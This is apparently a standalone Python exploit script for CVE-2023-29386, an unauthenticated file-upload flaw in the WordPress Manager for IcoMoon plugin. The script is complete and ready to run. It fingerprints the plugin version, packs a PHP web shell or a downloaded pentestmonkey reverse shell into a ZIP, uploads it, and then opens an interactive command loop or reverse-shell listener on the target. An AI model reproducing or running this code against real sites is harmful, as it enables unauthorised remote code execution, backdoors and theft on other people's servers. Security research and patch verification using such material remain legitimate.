README.md
README.md not found for CVE-2023-29386. The file may not exist in the repository.
#!/usr/bin/python
'''
Exploit for Manager for IcoMoon Plugin < 2.0 - Unauthenticated Arbitrary File Upload
CVE: CVE-2023-29386
Vulnerability: The plugin does not validate files uploaded via its upload() function,
allowing unauthenticated users to upload ZIP archives containing PHP files which
are extracted to web-accessible directories.
Author: vigilante-1337
Date: 09/10/2025
'''
import requests
import zipfile
import threading
import os
import re
import sys
import argparse
from pwn import *
# Hide pwntool logging
context.log_level = 'error' # Set to 'error' (hides most logs)
logging.getLogger("pwnlib").setLevel(logging.ERROR) # Disable logging for pwntools
class Reverse_Shell(threading.Thread):
def __init__(self, lhost: str = '172.17.0.1', lport: int = 1337)-> None:
''' Dummy TTYReverse Shell '''
super(Reverse_Shell, self).__init__()
self.lhost:str = lhost
self.lport:int = lport
self.exit:bool = False
self.listener:object = None
def run(self)-> None:
try:
self.listener = listen(int(self.lport), bindaddr=self.lhost) # Force IPv4
conn = self.listener.wait_for_connection()
conn.sendline(b'id')
while True:
data = conn.recv(1024).decode().strip()
if re.search(r'uid=(\d+)\((.*?)\)\s+gid=(\d+)\((.*?)\)\s+groups=(.+)', data):
print(f'{data}')
print('[+] Pwned! Go ahead...')
conn.interactive(prompt='')
except KeyboardInterrupt:
conn.close()
listener.close()
sys.exit(0)
finally: pass
class CVE_2023_29386:
def __init__(self, target:str=None, lhost:str=None, lport:int=None, root_path:str='/', proxy:str=None, user_agent:str='vigilante-1337')-> None:
self.rhost:str = target
self.lhost:str = lhost
self.lport:int = lport
self.selected_payload:int = None
self.root_path:str = self.fix_root_path(root_path)
self.proxy:dict = self.fix_proxy(proxy)
self.user_agent:dict = {'User-Agent': user_agent}
# intercept incoming connection
self.connection:object = None
def fix_root_path(self, root_path:str)-> str:
new_root_path = '' if root_path == '/' else root_path.strip('/') # remove only first and last /
return new_root_path
def fix_proxy(self, proxy:dict)-> dict:
new_proxy = {'http':proxy, 'https':proxy} if proxy else None
return new_proxy
def check_plugins(self)-> None:
'''
Verify if the Manager for IcoMoon plugin is installed and accessible.
'''
check = requests.get(f'{self.rhost}/wp-content/plugins/manager-for-icomoon/', proxies=self.proxy, headers=self.user_agent)
if check.status_code != 403: # if forbidden, the plugins existing
print('[!] Plugins not exists! Aborting...')
sys.exit(0)
enumerate = requests.get(f'{self.rhost}/wp-content/plugins/manager-for-icomoon/readme.txt')
versions = re.findall(r'=\s*([0-9.]+)\s*=', enumerate.text)
versions = float(versions[0])
print(f'[+] Plugins found! current version: {versions}')
info, status = ('[+] Plugins is vulnerable to CVE-2023-29386', 1) if versions <= 2.0 else (
('[+] Plugins is not vulnerable to CVE-2023-29386', 0) if versions > 2.0 else ('[+] Plugins might not vulnerable to CVE-2023-29386', 1) )
print(info)
return status
def create_zipfile_payload(self)-> None:
'''
Create a malicious ZIP archive payload with PHP web shell.
Generates a ZIP file containing a PHP backdoor that enables
remote command execution on the target server when extracted.
The payload uses a simple PHP system() wrapper to execute
commands passed via HTTP parameters.
'''
print('[+] Crafting malicios Zipfile payload...')
print("available payloads:")
print("[1] oneliner")
print("[2] php-reverse-shell")
self.selected_payload = int(input('> '))
if self.selected_payload == 1:
payload_content = '<?php system($_GET["cmd"]); ?>'
elif self.selected_payload == 2:
print(f'[+] Listening address set to => {self.lhost}:{self.lport}')
# shout out to pentestmonkey
payload_content = requests.get('https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php').text
# replace the address and port
payload_content = payload_content.replace("'127.0.0.1'", f"'{self.lhost}'")
payload_content = payload_content.replace("1234", str(self.lport))
payload_content = payload_content.replace("uname -a; w; id; /bin/sh -i", "/bin/bash -i")
with zipfile.ZipFile('payload_file.zip', 'w') as payload:
payload.writestr('shell.php', payload_content)
if os.path.isfile('./payload_file.zip'):
print('[+] Exploit archive prepared for unauthenticated upload')
def exploitation(self)-> None:
'''
Execute the unauthenticated file upload exploit.
This method crafts a malicious ZIP archive containing a PHP web shell,
uploads it to the vulnerable endpoint, and verifies successful exploitation.
'''
print('[+] Sending ZipFile payload...')
with open('./payload_file.zip', 'rb') as content:
files = {'managerforicomoon-zip': ('payload_file.zip', content.read(), 'application/zip')}
exploit = requests.post(
f'{self.rhost}/wp-admin/admin.php?page=managerforicomoon-zip',
allow_redirects=False,
files=files,
data={'managerforicomoon-upload': '1'}
)
shell = requests.head(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php')
if shell.status_code == 200 or shell.status_code == 500:
print(f'[+] Payload sent! Shell uploaded: /wp-content/uploads/manager-for-icomoon/shell.php')
print(f'[+] Attemping to execute the shell...')
if self.selected_payload == 1:
result = requests.get(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php', params={'cmd':'id'})
if re.search(r'uid=(\d+)\((.*?)\)\s+gid=(\d+)\((.*?)\)\s+groups=(.+)', result.text):
print(result.text.strip())
print('[+] Pwned! Go ahead...')
self.interact_with_payload()
else:
listener = Reverse_Shell(lhost=self.lhost, lport=self.lport)
listener.start()
listener.join(0.1) # Wait briefly for listener to start
shell = requests.get(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php')
def interact_with_payload(self)-> None:
'''
Interact with the deployed web shell for command execution.
'''
while True:
command = input('> ')
result = requests.get(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php', params={'cmd':command})
print(result.text)
# print(result.text[0:-2])
print()
print('''⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠟⠛⠛⠛⠛⠛⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠙⠷⣄⠀⠀⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⠀⢀⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡆⠀⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣷⠀⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⢀⡿⠀⠀⢀⣀⣤⡴⠶⠶⢦⣤⣀⡀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⠘⣧⡀⠛⢻⡏⠀⠀⠀⠀⠀⠀⠉⣿⠛⠂⣼⠇⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⢀⣤⡴⠾⢷⡄⢸⡇⠀⠀⠀⠀⠀⠀⢀⡟⢀⡾⠷⢦⣤⡀⠀⠀⠀⠀''')
print('''⠀⠀⠀⢀⡾⢁⣀⣀⣀⣻⣆⣻⣦⣤⣀⣀⣠⣴⣟⣡⣟⣁⣀⣀⣀⢻⡄⠀⠀⠀''')
print('''⠀⠀⢀⡾⠁⣿⠉⠉⠀⠀⠉⠁⠉⠉⠉⠉⠉⠀⠀⠈⠁⠈⠉⠉⣿⠈⢿⡄⠀⠀''')
print('''⠀⠀⣾⠃⠀⣿⠀⠀⠀⠀⠀⠀⣠⠶⠛⠛⠷⣤⠀⠀⠀⠀⠀⠀⣿⠀⠈⢷⡀⠀''')
print('''⠀⣼⠃⠀⠀⣿⠀⠀⠀⠀⠀⢸⠏⢤⡀⢀⣤⠘⣧⠀⠀⠀⠀⠀⣿⠀⠀⠈⣷⠀''')
print('''⢸⡇⠀⠀⠀⣿⠀⠀⠀⠀⠀⠘⢧⣄⠁⠈⣁⣴⠏⠀⠀⠀⠀⠀⣿⠀⠀⠀⠘⣧''')
print('''⠈⠳⣦⣀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠻⠶⠶⠟⠀⠀⠀⠀⠀⠀⠀⣿⠀⢀⣤⠞⠃''')
print('''⠀⠀⠀⠙⠷⣿⣀⣀⣀⣀⣀⣠⣤⣤⣤⣤⣀⣤⣠⣤⡀⠀⣤⣄⣿⡶⠋⠁⠀⠀''')
print('''⠀⠀⠀⠀⠀⢿⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣿⠀⠀⠀⠀⠀''')
print()
parser = argparse.ArgumentParser(description="Exploit for Manager for IcoMoon Plugin < 2.0 - Unauthenticated Arbitrary File Upload (CVE-2023-29386)", usage=f'{sys.argv[0]} [-h] [-t target]')
parser.add_argument('-t', '--target', required=True, type=str, metavar='', help='Target URL (example: http://target-server:port)')
parser.add_argument('-p', '--path', required=False, type=str, metavar='', help='Wordpress custom path', default='')
parser.add_argument('--proxy', required=False, type=str, metavar='', help='Route traffic through proxy (e.g., http://127.0.0.1:8080)')
parser.add_argument('--user-agent', required=False, type=str, metavar='', help='Custom User-Agent string', default='vigilante-1337')
parser.add_argument('--lhost', required=False, type=str, metavar='', help='Set listening host for PentestMonkey\'s payload')
parser.add_argument('--lport', required=False, type=int, metavar='', help='Set listening port for PentestMonkey\'s payload (default: 1337)', default=1337)
args = parser.parse_args()
if __name__ == '__main__':
exploit = CVE_2023_29386(
target=args.target,
lhost=args.lhost,
lport=args.lport,
root_path=args.path,
proxy=args.proxy,
user_agent=args.user_agent,
)
exploit.check_plugins()
exploit.create_zipfile_payload()
exploit.exploitation()